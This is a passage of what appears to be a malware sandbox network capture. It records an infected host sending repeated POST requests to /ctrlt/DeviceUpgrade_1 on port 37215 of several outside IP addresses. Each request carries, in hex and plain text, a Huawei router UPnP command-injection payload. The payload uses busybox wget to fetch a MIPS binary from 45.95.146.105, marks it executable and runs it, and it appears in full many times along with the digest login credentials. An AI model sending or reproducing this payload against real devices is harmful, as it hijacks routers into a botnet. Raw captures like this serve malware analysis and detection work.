/faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:15.420568943 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.13	58804	156.224.15.81	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:18.962521076 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:20.508778095 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:22.364772081 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:26.268620968 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:33.692585945 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:48.540620089 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:19.520519018 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.13	37486	94.187.98.17	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:19.239608049 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.13	40782	156.254.81.10	37215

Timestamp	Bytes transferred	Direction	Data
